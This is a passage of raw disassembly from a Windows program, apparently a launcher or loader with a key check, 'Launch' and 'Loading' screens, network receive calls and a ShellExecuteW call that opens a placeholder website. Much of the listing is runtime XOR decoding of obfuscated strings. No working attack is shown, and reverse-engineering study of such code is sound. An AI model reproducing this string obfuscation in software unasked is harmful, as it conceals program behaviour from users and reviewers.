paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140057b40
movss xmm3, dword [0x1401ca640]
mov r8d, edi
mov edx, esi
mov qword [rsp + 0x20], rbx
mov rcx, r10
call fcn.1400318d0
call fcn.140012120
movss xmm6, dword [0x1401eb11c]
mulss xmm6, dword [0x1401ca548]
call fcn.1400042b0
subss xmm6, dword [0x1401ca620]
movss xmm1, dword [0x1401eb118]
lea rcx, [rbp + 0x270]
mulss xmm1, dword [0x1401ca548]
movss xmm0, dword [rax + 0x50]
mulss xmm0, dword [0x1401ca548]
movss xmm7, dword [0x1401ca64c]
subss xmm1, xmm7
addss xmm0, xmm0
subss xmm6, xmm0
movaps xmm2, xmm6
call fcn.140001570
mov rcx, rax
call fcn.140015bd0
call fcn.140015ec0
movss xmm2, dword [0x1401ca60c]
lea rcx, [rbp + 0x278]
movss xmm1, dword [0x1401ca670]
call fcn.140001570
lea rdx, [rbp + 0x280]
mov byte [rsp + 0x63], 0
lea rcx, [rsp + 0x63]
mov rdi, rax
call fcn.140061840
xor esi, esi
mov rbx, rax
cmp byte [rax + 7], sil
je 0x140057d73
mov r8d, esi
cmp r13d, 2
jl 0x140057d30
movdqa xmm6, xmmword [str.1111111111111111]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd eax, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
jmp 0x140057d7b
mov r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140057d40
movdqa xmm6, xmmword [str.1111111111111111]
lea rdx, [rbp + 0xa8]
mov byte [rsp + 0x62], 0
lea rcx, [rsp + 0x62]
call fcn.140061830
mov r10, rax
cmp byte [rax + 3], 0
je 0x140057e44
mov r8d, esi
cmp r13d, 2
jl 0x140057e0e
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm6
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x140057e44
mov r9, r10
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140057e11
mov qword [rsp + 0x38], rsi
lea r8, [0x14029c668]
mov qword [rsp + 0x30], rsi
mov r9d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], esi
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], rdi
call fcn.140035fa0
movss xmm2, dword [0x1401ca60c]
lea rcx, [rbp + 0x288]
movss xmm1, dword [0x1401ca670]
call fcn.140001570
mov rdx, rax
lea rcx, str.Launch
call fcn.1400318c0
test al, al
je 0x140058061
lea rdx, [0x14029c668]
lea rcx, [rbp + 0x210]
call fcn.140063430
mov rdx, rax
lea rcx, [rbp + 0x760]
call fcn.1401217b0
mov r14, qword [rbp + 0x948]
mov rdi, qword [rbp + 0x940]
mov rax, r14
sub rax, rdi
sar rax, 6
test rax, rax
je 0x140057f4c
xor ebx, ebx
cmp rax, rbx
jbe 0x140061708
shl rbx, 6
lea rcx, [rbp + 0x210]
add rbx, rdi
mov rdx, rbx
call fcn.140063560
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x230]
call fcn.140063560
lea rcx, [rbp + 0x230]
call fcn.1400633d0
lea rcx, [rbp + 0x210]
call fcn.1400633d0
mov r14, qword [rbp + 0x948]
inc esi
mov rdi, qword [rbp + 0x940]
mov rax, r14
sub rax, rdi
movsxd rbx, esi
sar rax, 6
cmp rax, rbx
ja 0x140057eec
xor esi, esi
cmp rdi, r14
je 0x140058433
nop word [rax + rax]
cmp byte [0x1401c3827], 0
mov rax, qword [str.uWUU_ZC8]
mov qword [rbp - 0x60], rax
je 0x1400580b3
mov r8d, esi
cmp r13d, 2
jl 0x140058074
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm9
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x60]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
movd dword [rbp - 0x60], xmm2
movdqa xmm1, xmm10
pmuldq xmm0, xmm8
movdqa xmm2, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x5c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x5c], xmm2
jmp 0x1400580b3
mov r14, qword [rbp + 0x948]
mov rdi, qword [rbp + 0x940]
jmp 0x140057f4e
lea r9, [rbp - 0x60]
nop dword [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140058080
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x78]
call fcn.140063430
mov rdx, rax
mov rcx, rdi
call fcn.1400646b0
lea rcx, [rsp + 0x78]
movzx ebx, al
call fcn.1400633d0
test bl, bl
jne 0x1400615ba
cmp byte [0x1401c329f], bl
movups xmm2, xmmword [0x1401c3288]
movsd xmm0, qword [0x1401c3298]
movups xmmword [rsp + 0x78], xmm2
movsd qword [rbp - 0x78], xmm0
je 0x1400583e3
mov r8d, esi
cmp r13d, 2
jl 0x14005839d
movd eax, xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
movdqa xmm2, xmm10
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd ecx, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rsp + 0x78], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x7c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm11
xorps xmm2, xmm1
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movd dword [rsp + 0x7c], xmm2
movdqa xmm2, xmm11
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x80]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
movd dword [rbp - 0x80], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm15
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x7c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x7c], xmm2
movdqa xmm2, xmmword [0x1401ca7f0]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x78]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x78], xmm2
movdqa xmm2, xmmword [0x1401ca800]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x74]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x74], xmm2
jmp 0x1400583e3
lea r9, [rsp + 0x78]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400583b0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x210]
call fcn.140063430
mov rdx, rax
mov rcx, rdi
call fcn.1400646b0
lea rcx, [rbp + 0x210]
movzx ebx, al
call fcn.1400633d0
test bl, bl
je 0x140058426
mov dword [0x14029c628], 1
mov dword [0x14029c638], 0
add rdi, 0x40
cmp rdi, r14
jne 0x140057f60
call fcn.140016010
movss xmm0, dword [0x1401eb118]
lea rcx, [rbp + 0x18]
mulss xmm0, dword [0x1401ca548]
movss xmm6, dword [0x1401ca5f8]
subss xmm0, dword [0x1401ca60c]
subss xmm0, xmm6
movss dword [rbp + 0x18], xmm0
movss xmm0, dword [0x1401eb11c]
subss xmm0, dword [0x1401ca62c]
movss dword [rbp + 0x1c], xmm0
call fcn.140015bd0
call fcn.140015ec0
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
movzx eax, word [0x1401c1ed8]
mov word [rsp + 0x60], ax
mov dword [rbp + 0x20], 0x420c0000
mov dword [rbp + 0x24], 0x420c0000
je 0x1400584b1
xor byte [rsp + 0x61], 0x32
mov byte [rsp + 0x60], 0x43
xor r8d, r8d
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.140031bb0
test al, al
je 0x1400584ec
mov dword [rsp + 0x28], 5
lea r8, str.website_here
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
movaps xmm1, xmm6
movaps xmm0, xmm14
call fcn.140015ad0
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
movzx eax, word [0x1401c32c4]
mov word [rsp + 0x60], ax
mov dword [rbp + 0x28], 0x420c0000
mov dword [rbp + 0x2c], 0x420c0000
je 0x140058525
xor byte [rsp + 0x61], 0x32
mov byte [rsp + 0x60], 0x44
xor r8d, r8d
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x60]
call fcn.140031bb0
test al, al
je 0x140058560
mov dword [rsp + 0x28], 5
lea r8, str.website_here
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140016010
mov eax, dword [0x14029c8f8]
lea r15, str.Main
mov r14d, 1
jmp 0x140058c22
cmp eax, 1
jne 0x1400587c5
movss xmm7, dword [0x1401ca5e8]
movaps xmm0, xmm7
call fcn.140015c70
lea rdx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
lea rcx, [rbp + 0x210]
call fcn.140064110
movss xmm2, dword [0x1401ca5b0]
mov rcx, rax
movss xmm1, dword [0x1401ca684]
call fcn.14003c7b0
call fcn.140056120
movss xmm2, dword [0x1401ca66c]
lea rcx, [rbp + 0xb0]
movss xmm1, dword [0x1401ca688]
call fcn.140001570
mov rax, qword [0x14029c610]
movsd xmm6, qword [rax + 0x3e68]
call fcn.1400125a0
movss xmm2, dword [0x1401ca634]
mov rcx, rax
mov rdx, qword [rbp + 0xb0]
cvtpd2ps xmm3, xmm6
call fcn.1400563d0
call fcn.140007f00
movss xmm1, dword [0x14029c638]
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x1401ca5cc]
addss xmm1, xmm0
comiss xmm1, xmm7
movss dword [0x14029c638], xmm1
jbe 0x140058690
lea rdx, str.test
lea rcx, [0x14029c668]
call fcn.140064130
test al, al
je 0x140058679
lea rdx, [0x14029ad30]
lea rcx, [0x14029c658]
call fcn.140064130
test al, al
je 0x140058679
mov dword [0x14029c628], 6
jmp 0x140058690
movss xmm1, dword [0x14029c638]
comiss xmm1, xmm7
jbe 0x140058690
mov dword [0x14029c628], 5
movss xmm7, dword [0x1401eb11c]
lea rdx, str.Loading.
movss xmm6, dword [0x1401eb118]
lea rcx, [rbp + 0x290]
movss xmm0, dword [0x1401ca6d4]
xor r9d, r9d
subss xmm7, dword [0x1401ca63c]
mulss xmm6, dword [0x1401ca548]
xor r8d, r8d
movss dword [rsp + 0x20], xmm0
call fcn.14000b4e0
movaps xmm2, xmm7
lea rcx, [rbp + 0x298]
movss xmm0, dword [rax]
mulss xmm0, dword [0x1401ca548]
subss xmm6, xmm0
movaps xmm1, xmm6
call fcn.140001570
lea rcx, [0x14029c9e8]
mov rbx, rax
call fcn.1400042f0
lea rcx, [0x14029c9e8]
mov edi, eax
call fcn.1400042f0
lea rdx, [rbp + 0x610]
mov byte [rsp + 0x66], 0
lea rcx, [rsp + 0x66]
mov esi, eax
call fcn.140061a30
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140058763
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
xorps xmm3, xmm3
mov qword [rsp + 0x20], rbx
mov r8d, edi
mov edx, esi
mov rcx, rax
call fcn.1400318d0
movss xmm2, dword [0x1401ca6a0]
lea rcx, [rbp + 0xb8]
movss xmm1, dword [0x1401ca6a8]
call fcn.140001570
movss xmm6, dword [0x1401ca604]
lea rcx, [0x1401eb118]
mov rdx, qword [rbp + 0xb8]
movaps xmm2, xmm6
call fcn.140056580
mov eax, dword [0x14029c8f8]
movss xmm7, dword [0x1401ca64c]
jmp 0x140058c2a
cmp eax, 3
je 0x140058c1a
cmp eax, 4
jne 0x140058de3
mov byte [0x14029c60f], 0
call fcn.140012250
lea rdx, [rbp - 0x3e]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
movaps xmm14, xmm0
call fcn.140061a60
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14005880b
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
movss xmm6, dword [0x1401ca6d4]
lea rcx, [rbp + 0x2a0]
xor r9d, r9d
movss dword [rsp + 0x20], xmm6
xor r8d, r8d
mov rdx, rax
call fcn.14000b4e0
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x60]
movss xmm15, dword [rax]
mov byte [rsp + 0x60], 0
call fcn.140061a70
movzx ecx, byte [rax + 4]
test cl, cl
je 0x140058866
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
xor r9d, r9d
movss dword [rsp + 0x20], xmm6
xor r8d, r8d
lea rcx, [rbp + 0x2a8]
mov rdx, rax
call fcn.14000b4e0
lea rdx, [rbp + 0x206]
lea rcx, [rsp + 0x60]
movss xmm7, dword [rax]
mov byte [rsp + 0x60], 0
call fcn.140061a90
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400588bc
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
xor r9d, r9d
movss dword [rsp + 0x20], xmm6
xor r8d, r8d
lea rcx, [rbp + 0x2b0]
mov rdx, rax
call fcn.14000b4e0
movzx ecx, byte [0x14029c60f]
lea rbx, str.Other
test cl, cl
cmovne rbx, r15
jne 0x1400588f1
movss xmm7, dword [rax]
mulss xmm14, dword [0x1401ca548]
movaps xmm6, xmm15
addss xmm6, dword [0x1401ca5dc]
movaps xmm0, xmm14
addss xmm6, xmm6
addss xmm6, xmm7
mulss xmm6, dword [0x1401ca548]
subss xmm0, xmm6
call fcn.140015c30
movss xmm0, dword [0x1401ca5dc]
call fcn.140015c70
xorps xmm1, xmm1
lea rcx, [rbp + 0x2b8]
xorps xmm2, xmm2
call fcn.140001570
lea rdx, [rbp - 0x3c]
mov byte [rsp + 0x67], 0
lea rcx, [rsp + 0x67]
mov rdi, rax
call fcn.140061a60
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140058969
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rdx, rdi
mov rcx, rax
call fcn.1400318c0
test al, al
je 0x140058989
mov byte [0x14029c60f], 1
mov dword [0x14029c628], 5
mulss xmm7, dword [0x1401ca548]
movaps xmm0, xmm14
subss xmm0, xmm7
call fcn.140015c30
movss xmm7, dword [0x1401ca5dc]
movaps xmm0, xmm7
call fcn.140015c70
mov rcx, rbx
call fcn.140030a00
addss xmm6, xmm14
subss xmm6, xmm15
movaps xmm0, xmm6
call fcn.140015c30
movaps xmm0, xmm7
call fcn.140015c70
xorps xmm2, xmm2
lea rcx, [rbp + 0x2c0]
xorps xmm1, xmm1
call fcn.140001570
lea rdx, [rbp - 0x3a]
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.140061ab0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140058a09
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400318c0
test al, al
je 0x140058a29
mov byte [0x14029c60f], 0
mov dword [0x14029c628], 4
movss xmm0, dword [0x1401ca678]
call fcn.140015c30
movss xmm0, dword [0x1401ca674]
call fcn.140015c70
lea rdx, [rbp + 0x69a]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140061ac0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140058c03
mov r8d, esi
cmp r13d, 2
jl 0x140058bc0
mov eax, dword [str.1111111111111111]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x140058c03
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140058bd0
mov rcx, r10
call fcn.140030a00
mov eax, dword [0x14029c8f8]
movdqa xmm15, xmmword [0x1401ca7e0]
movss xmm7, dword [0x1401ca64c]
movss xmm6, dword [0x1401ca604]
cmp eax, 6
jne 0x140058d55
call fcn.1400080d0
movss xmm1, dword [0x14029cadc]
mov rbx, rax
mov rcx, qword [0x14029c610]
movss xmm0, dword [0x14029cad8]
movss dword [rbp - 0x4c], xmm1
movss xmm1, dword [0x14029cae4]
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp - 0x50]
movss dword [rbp - 0x50], xmm0
movss xmm0, dword [0x14029cae0]
movss dword [rbp - 0x44], xmm1
movss dword [rbp - 0x48], xmm0
call fcn.140003e20
movsd xmm0, qword [0x1401eb118]
lea r9, [rbp + 0xe8]
mov rdx, qword [0x14029c630]
lea r8, [rbp - 0x30]
mov dword [rsp + 0x30], eax
mov rcx, rbx
lea rax, [rbp + 0x68]
mov dword [rbp + 0x68], 0x3f800000
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x6c], 0x3f800000
mov qword [rbp + 0x70], 0
movsd qword [rbp + 0xe8], xmm0
mov qword [rbp - 0x30], 0
call fcn.140023c50
movss xmm0, dword [0x1401eb118]
lea rcx, [rbp - 0x28]
mulss xmm0, dword [0x1401ca548]
subss xmm0, xmm7
movss dword [rbp - 0x28], xmm0
movss xmm0, dword [0x1401eb11c]
subss xmm0, dword [0x1401ca63c]
movss dword [rbp - 0x24], xmm0
call fcn.140015bd0
xor r8d, r8d
mov dword [rbp - 0x20], 0x438c0000
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x1c], 0x420c0000
lea rcx, [0x1401a5a2a]
call fcn.140031330
test al, al
je 0x140058d55
mov dword [0x14029c628], 3
mov dword [0x14029c638], 0
mov ecx, r14d
call fcn.1400045f0
call fcn.1400113b0
call fcn.14000b030
mov rcx, qword [0x14029c818]
lea r8, [0x14029c7f8]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x5b8], xmm0
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14029c818]
lea r8, [rbp + 0x5b8]
mov rdx, qword [0x14029c7f8]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140007f40
mov rcx, rax
call fcn.140039230
mov rcx, qword [0x14029c800]
xor r8d, r8d
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x40]
test r12b, r12b
jne 0x1400615c3
movss xmm14, dword [0x1401ca580]
jmp 0x1400571bd
cmp eax, 5
jne 0x140058c1a
mov byte [0x14029c60f], 1
call fcn.140012250
lea rdx, [rbp - 0x38]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
movaps xmm14, xmm0
call fcn.140061a60
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140058e20
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
movss xmm6, dword [0x1401ca6d4]
lea rcx, [rbp + 0x2c8]
xor r9d, r9d
movss dword [rsp + 0x20], xmm6
xor r8d, r8d
mov rdx, rax
call fcn.14000b4e0
lea rdx, [rbp + 0x1e5]
lea rcx, [rsp + 0x60]
movss xmm15, dword [rax]
mov byte [rsp + 0x60], 0
call fcn.140061a70
movzx ecx, byte [rax + 4]
test cl, cl
je 0x140058e7b
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
xor r9d, r9d
movss dword [rsp + 0x20], xmm6
xor r8d, r8d
lea rcx, [rbp + 0x2d0]
mov rdx, rax
call fcn.14000b4e0
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x60]
movss xmm7, dword [rax]
mov byte [rsp + 0x60], 0
call fcn.140061a90
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140058ed1
xor byte [rax], 0x31
